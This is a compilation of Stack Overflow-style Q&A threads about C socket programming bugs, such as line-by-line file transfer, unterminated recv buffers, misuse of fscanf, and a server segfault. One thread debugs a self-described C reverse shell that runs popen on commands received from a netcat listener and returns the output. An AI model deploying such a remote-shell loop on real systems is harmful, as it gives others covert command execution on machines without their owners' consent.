I have written a program in c to send a file line by line to a server from a client in c. After the file is transmitted completely, I have provided a line endoffile in the txt file to string compare in the server to identify that the file is over and the next file is being transmitted next. The next file has to be written to another file in the server. But the problem is that the strcmp is never detecting the endoffile in the code and endoffile recieved from the file in client as equal strings amd continues to write the next file from the client to the same file in server.
char enof[]="endoffile";
...
do
{
rewind(appcrt);
bytes_recieved = recv(pass_arg.connected, recv_data_c, strlen(recv_data_c), 0);
recv_data_c[bytes_recieved-1] = '\0';
fputs(recv_data_c, appcrt);
if(strcmp(enof,recv_data_c) == 0){break;}
}while(check<count);
The text file:
Necessary data
that is
being transmitted
to be written to the file
endoffile
The code used for reading from the txt file and sending to the server:
while (fgets(line, sizeof(line), crt) != NULL)
{
send(sock, line, sizeof(line), 0);
}
What change I have to make in the condition so that the problem is resolved and the code exits from the do....while(); loop. Thanks in advance.
Operating platform: Linux
Edit1: Edited the do....while() as follows:
do
{
rewind(appcrt);
bytes_recieved = recv(pass_arg.connected, recv_data_c, 100, 0);
recv_data_c[bytes_recieved] = '\0';
fputs(recv_data_c, appcrt);
printf("%s-%s",enof,recv_data_c);
//if(strcmp(enof,recv_data_c) == 0){break;}
}while(check<count);
Got the following output in terminal:
endoffile-file1line1
endoffile-file1line2
endoffile-file1line3
endoffile-file1line4
endoffile-file1line5
endoffile-file1line6
endoffile-endoffile
endoffile-file2line1
endoffile-file2line2
endoffile-file2line3
endoffile-file2line4
endoffile-file2line5
endoffile-file2line6
.
.
.
Still no hope.
Even though the client is writing a line at a time to the socket this is not how the server will consume it as data transferred over a socket is just a stream of bytes. The server must read up to the next new line character and then compare. A simple algorithm would read a byte at a time and check if it is the newline character and if is not then append it to a string until a newline character is read:
/* Read next line. */
memset(line, 0, sizeof(line));
size_t line_len = 0;
while (line_len < sizeof(line) - 1 &&
1 == recv(pass_arg.connected, &line[line_len], 1, 0))
{
if ('\n' == line[line_len]) break;
line_len++;
}
Apart from that, there are several problems with the code:
you need to send what was read from the file as it may be less than the sizeof(line). Change:
send(sock, line, sizeof(line), 0);
to:
send(sock, line, strlen(line), 0);
and also check the return value of send() to determine if it was successful.
the following is incorrect as it would only read at a maximum what was previously read (or if was initialised to an empty string nothing would be read):
bytes_recieved = recv(pass_arg.connected,
recv_data_c, strlen(recv_data_c), 0);
and, again, check the return value especially as the return value is being used to index an array. If recv() fails it returns -1, which will result in out of bounds access on the array causing undefined behaviour.
while (fgets(line, sizeof(line), crt) != NULL)
{
send(sock, line, sizeof(line), 0);
}
Don't forget that fgets() may only read one byte, if the line is blank. Thus your send() call is sending a lot of uninitialized data every call -- either contents of previous lines or random memory free()d by your application earlier.
Thus, your receiving program would need to compare against:
endoffiletten to the file
to finally see the final string. (Assuming that the line buffer started out full of ASCII NUL characters.)
Related
I am trying to send a file and its name through a socket in C.
The relevant server code is:
char file[18];
memset(file, 0, 18);
file[17] = '\0';
int recvd = recv(newsock, file, 16, 0);
char local_file_path[200];
memset(local_file_path, 0, 200);
if(recvd == -1 || recv == 0) {
fprintf(stderr, "File name not received");
continue;
}
strcat(local_file_path, "/home/ubuntu/results/");
strcat(local_file_path, file);
FILE* fp = fopen(local_file_path, "wb");
char buffer[4096];
while(1)
{
recvd = recv(newsock, buffer, 4096, 0);
fwrite(buffer, sizeof(char), recvd, fp);
if(recvd == -1 || recvd == 0) {
fclose(fp);
break;
}
}
close(newsock);
}
close(servSock);
The relevant client code is:
char* my_16_long_fname = "filename1234.txt"
int ret = send(sock, my_16_long_file_fname, strlen(my_16_long_fname), 0)
This code, however, has been creating lots of undefined behaviour such as:
1.Receiving garbage filenames filled with garbage
2.Receiving empty files (so a name with nothing inside - could be some other bug but possibly due to this)
I have thought about a few solutions:
1.Diferentiate file types by signature/header and generate a file name on the server side. Besides this being a cheap solution which doesn't teach me how to actually solve the problem, it doesn't work with the logic i'm using, where sometimes I send error codes instead of file names after opening the socket.
2.Iterate over the recv'd buffer on the first call to recv until I encounter a '\0' character. Then write the remainder of the buffer as binary data and keep on receiving data as usual.
Is this the most efficient/simplest and solid solution to this issue, which will prevent any undefined behaviour?
There is no way your current code could possibly work. If the filename is always one character, your code can read too many characters. If your filename is always the same number of characters but more than one character, your code can read too few characters. If the filename is a variable number of characters, your code could read a smaller number than was sent.
So there is no sending protocol for which this could be valid receiving code.
Until you are an expert on writing networking code, always follow these two steps:
Document the protocol.
How many bytes does the filename occupy? Is it a fixed number or a variable number? Is it always followed by a zero byte?
Implement the protocol.
For example, your code reads up to 16 bytes for the filename. But it never checks if it received the whole file name. What if it only received a single byte?
I'm trying to transfer a file from server to client. I first send the name of the file I want to receive to the server, the server opens the file and writes its contents into a buffer and sends it back to the client. The client then copies the contents of that buffer into a newly created file to duplicate the contents of the server file.
When "Receive.txt" is created, only the FIRST word of the file I opened is copied into the file I created. Where am I going wrong?
server.c sending part:
if(checkCommand){
char *tmp = buf + 4;
char data[MAX_BLOCK_SIZE];
FILE *fp;
printf("File name: %s\n", tmp);
fp = fopen(tmp, "r");
if(fp == NULL){
printf("File not found\n");
exit(1);
}
do{
fscanf(fp, "%s", buf);
nw = write(sd, buf, MAX_BLOCK_SIZE);
} while(fscanf(fp, "%s", buf) != EOF);
}
client.c receiving part:
else if(getCommand){
FILE *fp;
write(sd, buf, MAX_BLOCK_SIZE);
read(sd, buf, MAX_BLOCK_SIZE);
fp = fopen("receive.txt", "w");
if(fp == NULL){
printf("File could not be opened.\n");
exit(1);
}
fprintf(fp, "%s", buf);
}
As correctly reported in comments section, the core of your issue consists in fscanf() being called both for reading data and for detecting EOF in order to quit the loop. But the latter actually consume data as well!
If I execute your program passing the following input file
Yesterday
All my troubles seemed so far away
Now it looks as though they're here to stay
and printing the output to stdout with printf("%s\n", buf); (instead of pushing data to a socket), that's what I get:
Yesterday
my
seemed
far
Now
looks
though
here
stay
So I get not only the first word, but one every two words.
Furthermore you write to the socket MAX_BLOCK_SIZE bytes whatever is the number of valid bytes you correctly read from file, so buf will contain MAX_BLOCK_SIZE - strlen(buf) bytes of garbage.
This sending loop will fix most of the issues mentioned above:
while(fscanf(fp, "%s", buf) != EOF)
{
write(sd, buf, strlen(buf));
}
Please note how you still would have something to care about:
are we sure that all words fit a MAX_BLOCK_SIZE big buffer? A word logger than the block will cause out of bound access (and undefined behavior), so a way to limit the number of acquired characters should be implemented
are we sure that all the data is sent in one shot? Probably yes, as the words are relatively short, but generally speaking the return value of the write() function should be checked, and if it is different from the amount of data to be sent the code should manage a way to send the remainder (or even exit the loop if the return value is negative!)
I'm not going to address these issues in this answer, but it was correct mentioning them. What I would like to emphatize, istead, is that sending data in this way will generate an output without whitespaces_. Something like:
YesterdayAllmytroublesseemedsofarawayNowitlooksasthoughthey'reheretostay
Even assuming that you need just a text file transfer, probably it is not what you want. For this reason I suggest implementing a binary trasfer using fread() in this way
#include<stdio.h>
#include <stdlib.h>
#define MAX_BLOCK_SIZE 1024
char buf[MAX_BLOCK_SIZE];
int main(void)
{
char tmp[] = "srcFile.txt";
FILE * fp;
int rd;
printf("File name: %s\n", tmp);
fp = fopen(tmp, "rb");
if(fp == NULL)
{
printf("File not found\n");
exit(1);
}
while(( rd = fread(buf, 1, MAX_BLOCK_SIZE, fp)) > 0)
{
write(sd, buf, rd);
//printf("%s\n", buf);
}
// You can call feof() or ferror() in order to discover if either EOF or an error occurred
return 0;
}
Uncommenting the printf what I get is exactly the input file. Please note how it would not necessary, on Linux environment, to select the binary mode with b, as
The mode string can also include the letter 'b' either as a last character or as a character between the characters in any of the two-character strings described above. This is strictly for compatibility with C89 and has no effect; the 'b' is ignored on all POSIX conforming systems, including Linux. (Other systems may treat text files and binary files differently, and adding the 'b' may be a good idea if you do I/O to a binary file and expect that your program may be ported to non-UNIX environments.)
(the emphasis is mine).
Just some notes about the receiver part:
I cannot comment the initial write(sd, buf, MAX_BLOCK_SIZE); because I'm not sure about the detais of your application, but it look strange. Make sure to send consistent data, in any case.
Always check the return values of read and write! Not only they can fail (and the error, that you can get querying errno, must be properly managed) but they can also read/write from/to socket less bytes than requested
In the general case of a binary file, writing data to the output file with fprintf(fp, "%s", buf); is not safe, as buf could contain bytes that are not printable or, even worse, it won't be NULL-terminated. Be aware that binary data could contain the '\0' character inside it, and that would result in an unexpected truncation. Use fwrite(), instead.
I am rewriting a simple reverse-shell program I made in python, now in C.
The program is supposed to be trying to connect to a host(netcat listening on the specified port) and then take the output from nc, sent over a tcp socket, and make a system call using popen() and then send back the terminal output via the socket connection to nc where it is displayed.
When I try sending commands the program returns what I requested, but also some giberish.
Ex.:
/Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu#Ԓ`? ??????0d?r?
(Output from nc in terminal, this was a 'pwd' command)
I also seem to have some kind of problem where a buffer isn't cleared? When I use the 'say' command(say [sentence] ) MacOS is supposed to use voice the sentence. This happens, but only the 2 first letters of the argument after 'say'(the 2 first characters of the sentence) and then says an earlier string. ('Successfully connected!')
Ex.: (command: 'say hello')
heSuccessfully connected!
I have tried to open the FILE stream in different places and
Code (after socket setup and connection):
const char conMsg[25] = "Successfully connected!\n";
send(netSock, conMsg, sizeof(conMsg), 0);
printf("Sent message...\n");
// variable setup
char command[] = "clear";
char buffer[256];
const char INPUTFIELD[3] = "\n> ";
// requests loop
while (1) {
send(netSock, INPUTFIELD, sizeof(INPUTFIELD), 0);
// recv command
recv(netSock, &command, sizeof(command), 0);
printf("recived command...\n");
printf(command);
// exit check
if ( strncmp(command, ":exit", 5) == 0) {
close(netSock);
exit(0);
} else {
// stream init
FILE *in;
in = popen(command, "r");
// popen output, send to host
while ( fgets(buffer, sizeof(buffer), in) != NULL) {
send(netSock, buffer, sizeof(buffer), 0);
}
pclose(in);
}
}
return 0;
How I use the program:
nc -l [specified port] (MAC or Linux terminal command(maybe Windows aswell))
Start binary (should not matter as I plan to have it try to connect, but that functonality is lacking as of now)
// recv command
recv(netSock, &command, sizeof(command), 0);
printf("recived command...\n");
printf(command);
You ignore the return value of recv, so none of your other code has any idea how many bytes of data you received. Also, you pass command to printf. This has two problems:
What if you didn't receive a zero byte? You could run right off the end of the buffer.
What if the received data includes a %s or other string that is special to printf?
I think your main issue is here:
// popen output, send to host
while ( fgets(buffer, sizeof(buffer), in) != NULL) {
send(netSock, buffer, sizeof(buffer), 0);
}
fgets will read just to an end of line (including the end of line character) and then null terminate. Unless a line exceeds the buffer size, it won't fill the buffer completely. Your send call is sending the entire buffer regardless, including any uninitialized gibberish that may be past what fgets read. This might work better:
// popen output, send to host
while ( fgets(buffer, sizeof(buffer), in) != NULL) {
send(netSock, buffer, strlen(buffer), 0);
}
For something I am doing I would like to get the external IP of the PC running the program (written in C). So far I have found the best way is to connect to a site that simply displays the IP of the visitor, and then parse the webpage for the IP. The first part was easy, but when I display the buffer I read the page (which only visibly consisted of my IP) I get a few random extra symbols/characters after the IP. Here is the code I am using ATM (simplified to exclude other stuff):
HINTERNET OpenInternet = NULL;
HINTERNET GetIP = NULL;
DWORD BytesRead = 0;
char IPGrabbed[30];
OpenInternet = InternetOpen("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (OpenInternet == NULL) {
return 1;
}
GetIP = InternetOpenUrl(OpenInternet, "http://api.externalip.net/ip/", NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (GetIP == NULL)
return 1;
if (!InternetReadFile(GetIP, &IPGrabbed, sizeof(IPGrabbed), &BytesRead))
return 1;
printf("IP: %s", IPGrabbed);
getchar();
I also tried parsing through IPGrabbed stopping at any '\n' or '\r' (because it displays the weird characters on the line below the IP when I printf() it) and then copying everything up till there to another char array, but got the same result. Could anyone help me figure out what is going on here? Thank you.
Initialise the buffer to all 0s and then read one character less then the buffer to read into provides.
This way the 0-terminator a C-"string" relies on is provided implicitly.
char IPGrabbed[30] = ""; /* Initialise the buffer to all `0`s ... */
[...]
/* ... and then read one character less then the buffer to read into provides. */
if (!InternetReadFile(GetIP, &IPGrabbed, sizeof(IPGrabbed) - 1, &BytesRead))
return 1;
fprintf(stderr, "IP: %s", IPGrabbed); /* Print to stderr, as it's not buffered so
everything appear immediately to the console. */
The result from InternetReadFile is not null-terminated, you need to add a null character to the end of the string by code after the read is successful:
IPGrabbed[BytesRead] = 0;
Edit 1
As suggested in the comment by Jonathan Potter, the above code may be subjected to a buffer overflow error if the site being accessed is returning anything longer than a IP string (maximum 16 characters).
Suggest to change the InternetReadFile to read 1 less of the buffer length instead of full buffer length to eliminate the above problem.
InternetReadFile(GetIP, &IPGrabbed, sizeof(IPGrabbed)-1, &BytesRead)
I'm currently still programming a simple client-server application in C via Ubuntu. So far my login function seems to have worked well (enter some text in client, grab text from a file in server and verify), but this particular display option is giving me trouble.
Some snippets of the server-side code (I grabbed the file copy to buffer function below from another site):
char bflag[1]; //mainmenu option recveived from client
char buffer[BUFSIZE+1]; //BUFSIZE is 1024
long lSize;
size_t result;
FILE * userf;
userf = fopen("Books.txt", "r+b");
recv(new_sockfd, bflag, BUFSIZE, 0); //receive flag from clientside
if ( (strncmp (bflag, "a", 1)) == 0) //display flag received
{
fseek (userf , 0 , SEEK_END);
lSize = ftell (userf);
rewind (userf);
// copy the file into the buffer:
result = fread (buffer,1,lSize,userf);
send(new_sockfd, buffer, BUFSIZE, 0);
}
fclose(userf);
And on the client side, utilizing a switch for the various options:
char bbuf[BUFSIZE+1]; //BUFSIZE is 1024
switch (mmenuc)
{
case 1:
{
strcpy (mmenuf, "a");
send (sockfd, mmenuf, BUFSIZE,0);//send flag 'a' to server
system("clear");
printf("Listing of books available:\n");
printf("O = Available X = Unavailable\n");
printf("\n");
recv (sockfd, bbuf, BUFSIZE,0);
printf ("%s", bbuf);
printf("\n");
getchar(); //eats the "\n"
getchar(); //to pause
break;
}
The problem that I am facing now is that the all the text in the file is retrieved and appears on the client side terminal fine, but on the server side terminal it gives a Segmentation Fault.
I assume there's a buffer overflow somewhere, but I'm not sure what's causing it.
Also, the Books.txt file is padded with spaces for an editing function later.
The server probably stores something like "a< cr >< lf >" in the buffer "Bflag". Not good. Should cause an error, but does not always cause one immediately.
You do not need to figure out the size of your file before you do the read:
Just issue: result = fread (buffer,1,BUFSIZE,userf);
Now, if your file ends up being larger than the buffer, your program won't crash but just not read all the file. You can change your working program later on to handle the case that the file is larger than one buffer. Use "result" (if it is larger than zero) for the number of bytes-to-write to the client.
If your file is (more than a few bytes) larger than BUFSIZE, it will probably cause a "segmentation fault" on exit of the function you provided in the first codeblock. I think that's where your segmentation fault comes from.